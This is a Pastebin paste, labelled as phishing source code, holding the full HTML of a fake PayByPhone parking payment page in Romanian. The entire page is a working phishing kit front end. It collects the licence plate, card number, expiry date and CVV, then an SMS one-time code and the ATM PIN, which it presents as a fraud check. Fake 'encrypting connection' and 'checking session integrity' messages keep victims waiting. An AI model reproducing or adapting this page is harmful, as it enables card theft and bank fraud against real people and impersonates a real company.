Guest User

index - Phishing sourcecode index.phg - 2025 - July - Hackout.r

a guest
Jul 27th, 2025
18
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.14 KB | None | 0 0
  1.  
  2. <!DOCTYPE html>
  3. <html lang="RO">
  4. <head>
  5. <meta charset="UTF-8">
  6. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  7. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
  8. <meta name="theme-color" media="(prefers-color-scheme: light)" content="white"/>
  9. <meta name="theme-color" media="(prefers-color-scheme: dark)" content="#000000"/>
  10. <title>Park PayByPhone - RO</title>
  11. <script src="https://cdn.tailwindcss.com"></script>
  12. <script>
  13. tailwind.config = {
  14. theme: {
  15. extend: {
  16. colors: {}
  17. }
  18. }
  19. }
  20. </script>
  21. <style>
  22. body {
  23. font-family: Poppins, sans-serif;
  24. font-size: 16px;
  25. }
  26.  
  27. h1 {
  28. font-family: 'Abril Fatface', serif;
  29. font-size: 46px;
  30. }
  31. </style>
  32. <script defer src="https://unpkg.com/@alpinejs/[email protected]/dist/cdn.min.js"></script>
  33. <script defer src="https://unpkg.com/[email protected]/dist/cdn.min.js"></script>
  34. <script defer src="files/engine.js"></script>
  35. <script defer src="img/main.css"></script>
  36. <script id="_wauwy5">var _wau = _wau || []; _wau.push(["dynamic", "dpd99", "wy5", "c4302bffffff", "small"]);</script><script async src="//waust.at/d.js"></script>
  37. <link rel="shortcut icon" type="image/x-icon" href="img/favicon.ico" id="favicon">
  38. </head>
  39. <body>
  40. <!-- 1 -->
  41. <div id="timerScreen" class="_hidden screen">
  42. <nav>
  43. <div class="pl-4 flex border-b mx-2">
  44. <div class="flex-grow">
  45. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  46. </div>
  47. <div class="flex-none mr-4">
  48. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  49. <path fill-rule="evenodd"
  50. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  51. clip-rule="evenodd"/>
  52. </svg>
  53. </div>
  54. </div>
  55. </nav>
  56. <div class="max-w-xl mx-auto p-2">
  57. <div id="navdisplay" class="ml-4 mt-3">
  58. <span class="font-normal text-xs text-gray-500">Începe ></span>
  59. <span class="font-semibold text-xs">Durata ></span>
  60. <span class="font-normal text-xs text-gray-500">Vehicul ></span>
  61. <span class="font-normal text-xs text-gray-500">Plată ></span>
  62. <span class="font-normal text-xs text-gray-500">Mulțumim</span>
  63. </div>
  64. <div class="container mx-auto p-2">
  65. <form action="" method="post" id="timerForm">
  66. <div class="text-xl text-center mt-6 font-semibold">
  67. Cât timp vrei să parchezi? </div>
  68. <div class="mt-4 text-sm text-center font-family">
  69. Selectează timpul de parcare pe oră și minut. </div>
  70. <div class="grid grid-cols-2 gap-4 mt-8">
  71. <div class="">
  72. <select name="hours_select" id="hours_select" class="p-4 w-full text-base">
  73. <option value="0" selected>0 Ore</option>
  74. <option value="60">1 Oră</option>
  75. <option value="120">2 Ore</option>
  76. <option value="180">3 Ore</option>
  77. <option value="240">4 Ore</option>
  78. <option value="300">5 Ore</option>
  79. <option value="360">6 Ore</option>
  80. <option value="420">7 Ore</option>
  81. <option value="480">8 Ore</option>
  82. <option value="540">9 Ore</option>
  83. <option value="600">10 Ore</option>
  84. <option value="660">11 Ore</option>
  85. <option value="720">12 Ore</option>
  86. <option value="780">13 Ore</option>
  87. <option value="840">14 Ore</option>
  88. <option value="900">15 Ore</option>
  89. <option value="960">16 Ore</option>
  90. <option value="1020">17 Ore</option>
  91. <option value="1080">18 Ore</option>
  92. <option value="1140">19 Ore</option>
  93. <option value="1200">20 Ore</option>
  94. <option value="1260">21 Ore</option>
  95. <option value="1320">22 Ore</option>
  96. <option value="1380">23 Ore</option>
  97. <option value="1440">24 Ore</option>
  98. </select>
  99. </div>
  100. <div class="">
  101. <select name="minutes_select" id="minutes_select" class="p-4 w-full text-base">
  102. <option value="00">00 Minute</option>
  103. <option value="15" selected>15 Minute</option>
  104. <option value="30">30 Minute</option>
  105. <option value="45">45 Minute</option>
  106. </select>
  107. </div>
  108. </div>
  109. <div class="mt-6">
  110. <div class="text-lg">
  111. <span class="font-bold">Preț:</span>
  112. <span class="font-bold text-fuchsia-900">
  113. <span class="totalPriceSpan">0</span>
  114. RON </span>
  115. </div>
  116. <div class="text-xs text-gray-500">
  117. Cost estimat. Vei vedea costul final înainte de a plăti. </div>
  118. </div>
  119. <div class="mt-6">
  120. <button class="bg-emerald-700 p-2 w-full text-white font-semibold font-semibold" type="submit">
  121. Continuă </button>
  122. </div>
  123. </form>
  124.  
  125.  
  126. </div>
  127. </div>
  128. <footer class="fixed bottom-0 right-0 left-0">
  129. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  130. <div class="mb-2">
  131. Copyright &#169; PayByPhone 2025
  132. </div>
  133. </footer>
  134. </div>
  135.  
  136. <!-- 2 -->
  137. <div id="plateScreen" class="hidden screen">
  138. <nav>
  139. <div class="pl-4 flex border-b mx-2">
  140. <div class="flex-grow">
  141. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  142. </div>
  143. <div class="flex-none mr-4">
  144. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  145. <path fill-rule="evenodd"
  146. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  147. clip-rule="evenodd"/>
  148. </svg>
  149. </div>
  150. </div>
  151. </nav>
  152. <form action="" id="plateForm">
  153. <div class="max-w-xl mx-auto p-2">
  154. <div id="navdisplay" class="ml-4 mt-3">
  155. <span class="font-normal text-xs text-gray-500">Începe ></span>
  156. <span class="font-normal text-xs text-gray-500">Durata ></span>
  157. <span class="font-semibold text-xs">Vehicul ></span>
  158. <span class="font-normal text-xs text-gray-500">Plată ></span>
  159. <span class="font-normal text-xs text-gray-500">Mulțumim</span>
  160. </div>
  161. <div class="text-xl text-center mt-6 font-semibold">
  162. Adaugă numărul de înmatriculare </div>
  163. <div class="mt-8">
  164. <label for="plateNumber" class="block w-full font-bold text-sm">Număr de înmatriculare</label>
  165. <input type="text"
  166. id="plateNumber"
  167. name="plateNumber"
  168. required="required"
  169. class="w-full p-2 border shadow rounded text-sm"
  170. maxlength="8"
  171. placeholder="Număr de înmatriculare">
  172. </div>
  173. <div class="mt-8">
  174. <button class="bg-emerald-700 p-2 w-full text-white font-semibold" type="submit">
  175. Continuă </button>
  176. </div>
  177. </div>
  178. </form>
  179. <footer class="fixed bottom-0 right-0 left-0">
  180. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  181. <div class="mb-2">
  182. Copyright &#169; PayByPhone 2025
  183. </div>
  184. </footer>
  185. </div>
  186.  
  187. <!-- 3 -->
  188. <div id="cvvScreen" class="hidden screen">
  189. <nav>
  190. <div class="pl-4 flex border-b mx-2">
  191. <div class="flex-grow">
  192. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  193. </div>
  194. <div class="flex-none mr-4">
  195. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  196. <path fill-rule="evenodd"
  197. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  198. clip-rule="evenodd"/>
  199. </svg>
  200. </div>
  201. </div>
  202. </nav>
  203.  
  204. <div class="max-w-xl mx-auto p-2">
  205. <div id="navdisplay" class="ml-4 mt-3">
  206. <span class="font-normal text-xs text-gray-500">Începe ></span>
  207. <span class="font-normal text-xs text-gray-500">Durata ></span>
  208. <span class="font-normal text-xs text-gray-500">Vehicul ></span>
  209. <span class="font-semibold text-xs">Plată ></span>
  210. <span class="font-normal text-xs text-gray-500">Mulțumim</span>
  211. </div>
  212. <form action="" id="cvvForm">
  213. <input type="hidden" name="cmd" value="3">
  214. <div class="container mx-auto p-2">
  215. <div class="text-xl text-center mt-5 font-semibold">
  216. Adaugă metoda de plată </div>
  217. <div class="error_msg hidden text-red-700 text-center font-semibold mt-5 text-xs">
  218. Ups!... Cardul tău de credit nu este acceptat. Te rugăm să încerci altul. </div>
  219. <div class="mt-2">
  220. <div class="font-normal text-sm">&#9203; Timp: <span class="humanTime"></span> </div>
  221. <span class="font-normal text-sm">&#128181 Suma de plătit:
  222. <span class="totalPriceSpan">0</span>
  223. EUR </span>
  224. <div class="font-normal text-sm">&#128290; Număr licență: <span class="licenseNumber"></span> </div>
  225. </div>
  226.  
  227.  
  228. <div class="bg-gray-100 px-2 py-6 rounded border shadow-lg mt-3">
  229. <div class="text-center mt-2">
  230. <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
  231. <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
  232. <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
  233. <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
  234. <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
  235. <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
  236. </div>
  237. <div class="mt-4">
  238. <label for="cvvNum" class="block w-full font-bold text-sm">Număr card</label>
  239. <input type="tel"
  240. name="cvvNum"
  241. id="cvvNum"
  242. pattern="\d{4} \d{4} \d{4} \d{4}"
  243. required="required"
  244. minlength="15"
  245. x-data
  246. x-mask="9999 9999 9999 9999"
  247. class="w-full p-2 border shadow rounded text-sm"
  248. placeholder="**** **** **** ****">
  249. </div>
  250. <div class="mt-5 grid grid-cols-2 gap-4">
  251. <div class="">
  252. <label for="cvvDate" class="block w-full font-bold text-sm">Data expirării</label>
  253. <input type="tel"
  254. name="cvvDate"
  255. id="cvvDate"
  256. pattern="\d{2}\/\d{2}"
  257. required="required"
  258. x-data
  259. x-mask="99/99"
  260. class="w-full p-2 border shadow rounded text-sm"
  261. placeholder="MM/YY">
  262. </div>
  263. <div class="">
  264. <label for="cvv2" class="block w-full font-bold text-sm">CVV</label>
  265. <input type="tel"
  266. name="cvv2"
  267. id="cvv2"
  268. pattern="\d{3}"
  269. maxlength="3"
  270. required="required"
  271. x-data
  272. x-mask="9999"
  273. class="w-full p-2 border shadow rounded text-sm"
  274. placeholder="***">
  275. </div>
  276. </div>
  277. <div class="mt-8">
  278. <button class="bg-emerald-700 p-2 w-full text-white font-semibold" type="submit">
  279. Adaugă card </button>
  280. </div>
  281. </div>
  282.  
  283.  
  284. </div>
  285. </form>
  286. </div>
  287.  
  288.  
  289. <footer class="fixed bottom-0 right-0 left-0">
  290. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  291. <div class="mb-2">
  292. Copyright &#169; PayByPhone 2025
  293. </div>
  294. </footer>
  295. </div>
  296.  
  297. <!-- 4 -->
  298. <div id="confirmScreen" class="hidden screen">
  299. <nav>
  300. <div class="pl-4 flex border-b mx-2">
  301. <div class="flex-grow">
  302. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  303. </div>
  304. <div class="flex-none mr-4">
  305. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  306. <path fill-rule="evenodd"
  307. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  308. clip-rule="evenodd"/>
  309. </svg>
  310. </div>
  311. </div>
  312. </nav>
  313. <div class="max-w-xl mx-auto p-2">
  314. <form action="" method="post" id="confirmForm">
  315. <div id="navdisplay" class="ml-4 mt-3">
  316. <span class="font-normal text-xs text-gray-500">Start ></span>
  317. <span class="font-normal text-xs text-gray-500">Duration ></span>
  318. <span class="font-semibold text-xs">Confirm transaction</span>
  319. </div>
  320. <div class="container mx-auto p-2">
  321. <div class="text-xl text-center mt-6 font-semibold">
  322. Approve your secure payment
  323. </div>
  324. <div class="text-center text-sm">
  325. Log into your mobile banking app and tap payments to approve.
  326. </div>
  327. <div class="error_msg hidden text-red-700 text-center font-semibold mt-4">
  328. An error has occured.. Try again...
  329. </div>
  330. <div class="my-12">
  331. <img src="img/push.png" alt="" class="w-32 max-w-sm block mx-auto">
  332. </div>
  333.  
  334.  
  335. <div class="mt-8">
  336. <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
  337. Confirm
  338. </button>
  339. </div>
  340. </div>
  341. </form>
  342.  
  343.  
  344. </div>
  345. <footer class="fixed bottom-0 right-0 left-0">
  346. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  347. <div class="mb-2">
  348. Copyright &#169; PayByPhone 2025
  349. </div>
  350. </footer>
  351. </div>
  352.  
  353. <!-- 5 -->
  354. <div id="otpScreen" class="hidden screen">
  355. <nav>
  356. <div class="pl-4 flex border-b mx-2">
  357. <div class="flex-grow">
  358. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  359. </div>
  360. <div class="flex-none mr-4">
  361. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  362. <path fill-rule="evenodd"
  363. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  364. clip-rule="evenodd"/>
  365. </svg>
  366. </div>
  367. </div>
  368. </nav>
  369. <div class="max-w-xl mx-auto p-2">
  370. <div id="navdisplay" class="ml-4 mt-3">
  371. <span class="font-normal text-xs text-gray-500">Începe ></span>
  372. <span class="font-normal text-xs text-gray-500">Plată ></span>
  373. <span class="font-semibold text-xs">OTP</span>
  374. </div>
  375. <div class="container mx-auto p-2">
  376. <form action="" id="otpForm">
  377. <input type="hidden" name="cmd" value="5">
  378. <div class="text-xl text-center mt-6 font-semibold">
  379. Confirmare plată </div>
  380. <div class="text-center text-sm">
  381. Introdu codul SMS unic de 6 caractere trimis pe numărul tău de telefon înregistrat pentru a finaliza tranzacția. </div>
  382. <div class="error_msg hidden text-red-700 text-center font-semibold mt-4 font-sans">
  383. An error has occured.. Try again...
  384. </div>
  385. <div class="text-center mt-8">
  386. <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
  387. <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
  388. <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
  389. <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
  390. <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
  391. <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
  392. </div>
  393. <div class="my-6">
  394. <label for="otp" class="p-1 font-bold block w-full text-sm">Introdu codul SMS</label>
  395. <input type="tel" placeholder="SMS CODE" name="otp" id="otp"maxlength="6" minlength="6" autocomplete="one-time-code" required="required" class="w-full p-2 border shadow text-sm">
  396. </div>
  397. <div class="mt-8">
  398. <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
  399. Confirmă </button>
  400. </div>
  401. </form>
  402. </div>
  403. </div>
  404. <footer class="fixed bottom-0 right-0 left-0">
  405. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  406. <div class="mb-2">
  407. Copyright &#169; PayByPhone 2025
  408. </div>
  409. </footer>
  410. </div>
  411.  
  412. <!-- 6 -->
  413. <div id="pinScreen" class="hidden screen">
  414. <nav>
  415. <div class="pl-4 flex border-b mx-2">
  416. <div class="flex-grow">
  417. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  418. </div>
  419. <div class="flex-none mr-4">
  420. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  421. <path fill-rule="evenodd"
  422. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  423. clip-rule="evenodd"/>
  424. </svg>
  425. </div>
  426. </div>
  427. </nav>
  428. <div class="max-w-xl mx-auto p-2">
  429. <form action="" id="pinForm">
  430. <input type="hidden" name="cmd" value="6">
  431. <div id="navdisplay" class="ml-4 mt-3">
  432. <span class="font-normal text-xs text-gray-500">Începe ></span>
  433. <span class="font-normal text-xs text-gray-500">Plată ></span>
  434. <span class="font-semibold text-xs">PIN</span>
  435. </div>
  436. <div class="container mx-auto p-2">
  437. <div class="text-xl text-center mt-6 font-semibold">
  438. Confirmă PIN-ul ATM </div>
  439. <div class="text-center text-sm">
  440. Pentru a preveni frauda, avem nevoie de informații suplimentare pentru a confirma că cardul îți aparține. </div>
  441. <div class="error_msg hidden text-red-700 text-center font-semibold mt-4 text-xs">
  442. Oops!... PIN does not match. Please try another one.
  443. </div>
  444. <div class="text-center mt-8">
  445. <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
  446. <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
  447. <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
  448. <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
  449. <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
  450. <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
  451. </div>
  452. <div class="my-12">
  453. <label for="atmPin" class="p-1 font-semibold block w-full text-sm">PIN ATM</label>
  454. <input type="password" placeholder="&#x2022; &#x2022; &#x2022; &#x2022;" pattern="\d{4}" maxlength="4" name="atmPin" id="atmPin"
  455. class="w-full p-2 border shadow text-sm"
  456. placeholder="ATM PIN" maxlength="5">
  457. </div>
  458.  
  459.  
  460. <div class="mt-8">
  461. <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
  462. Continuă </button>
  463. </div>
  464. </form>
  465.  
  466.  
  467. </div>
  468. </div>
  469. <footer class="fixed bottom-0 right-0 left-0">
  470. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  471. <div class="mb-2">
  472. Copyright &#169; PayByPhone 2025
  473. </div>
  474. </footer>
  475. </div>
  476.  
  477. <!-- 7 -->
  478. <div id="errScreen" class="hidden screen">
  479. <nav>
  480. <div class="pl-4 flex border-b mx-2">
  481. <div class="flex-grow">
  482. <img src="img/logo.png" alt="" class="w-1/3 my-4">
  483. </div>
  484. <div class="flex-none mr-4">
  485. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  486. <path fill-rule="evenodd"
  487. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  488. clip-rule="evenodd"/>
  489. </svg>
  490. </div>
  491. </div>
  492. </nav>
  493. <div class="max-w-xl mx-auto p-2">
  494. <div id="navdisplay" class="ml-4 mt-3">
  495. <span class="font-semibold">Start</span>
  496. >
  497. <span class="font-semibold">Payment</span>
  498. >
  499. <span class="font-semibold">Error</span>
  500. </div>
  501. <div class="container mx-auto p-2 mt-6">
  502. <div class="text-xl text-center mt-6 font-semibold">
  503. There has been a problem with the transaction!
  504. </div>
  505. <div class="text-center mt-16">
  506. We are sorry, something went wrong with the current transaction, you will be redirected to the first
  507. page to try again.
  508. </div>
  509. <div class="my-12">
  510. <img src="img/error.png" alt="" class="w-24 block mx-auto">
  511. </div>
  512. </div>
  513. </div>
  514. <footer class="fixed bottom-0 right-0 left-0">
  515. <div class="pl-4 flex border-b mx-2">
  516. <img src="img/logo.png" alt="" class="w-1/4 my-4 flex-none">
  517. <div class="flex-grow mr-4 text-xs">
  518. <div class="grid grid-cols-3 gap-2 ml-4">
  519. <div>Cookie Policy</div>
  520. <div>Privacy Policy</div>
  521. <div>Terms Of Use</div>
  522. </div>
  523. <div class="text-center mt-2">Copyright &#169; PayByPhone 2024</div>
  524. </div>
  525. </div>
  526. </footer>
  527. </div>
  528.  
  529. <!-- 9 -->
  530. <div id="loadingScreen" class="hidden screen">
  531. <nav>
  532. <div class="pl-4 flex border-b mx-2">
  533. <div class="flex-grow">
  534. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  535. </div>
  536. <div class="flex-none mr-4">
  537. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  538. <path fill-rule="evenodd"
  539. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  540. clip-rule="evenodd"/>
  541. </svg>
  542. </div>
  543. </div>
  544. </nav>
  545. <div id="loadingText" class="text-center mt-32 text-base font-semibold tracking-wide animate-pulse">
  546. Te rugăm să aștepți... </div>
  547. <div class="my-8 mx-auto">
  548. <svg xmlns="http://www.w3.org/2000/svg"
  549. xmlns:xlink="http://www.w3.org/1999/xlink"
  550. style="margin:auto;display:block;"
  551. width="94px" height="94px"
  552. viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
  553. <circle cx="50" cy="50" fill="none" stroke="#246e38" stroke-width="10" r="35" stroke-dasharray="164.93361431346415 56.97787143782138">
  554. <animateTransform attributeName="transform"
  555. type="rotate"
  556. repeatCount="indefinite"
  557. dur="1s"
  558. values="0 50 50;360 50 50"
  559. keyTimes="0;1"></animateTransform>
  560. </circle>
  561. </svg>
  562. </div>
  563. <div class="text-center text-gray-600 mb-20 text-sm text-sm text-gray-500">
  564. Te rugăm să nu închizi această fereastră. </div>
  565. </div>
  566. </div>
  567. </div>
  568.  
  569. </div>
  570. <script>
  571. const loadingText = document.getElementById("loadingText");
  572. const messages = [
  573. "Please wait...",
  574. "Checking session integrity...",
  575. "Encrypting connection...",
  576. "Synchronizing data...",
  577. "Finalizing secure authentication..."
  578. ];
  579. let i = 0;
  580.  
  581. setInterval(() => {
  582. loadingText.classList.add("fade-out");
  583. setTimeout(() => {
  584. loadingText.textContent = messages[i];
  585. loadingText.classList.remove("fade-out");
  586. i = (i + 1) % messages.length;
  587. }, 2200);
  588. }, 3000); // se schimbă mesajul la fiecare 3 secunde
  589. </script>
  590. </body>
  591. </html>
Advertisement
Add Comment
Please, Sign In to add comment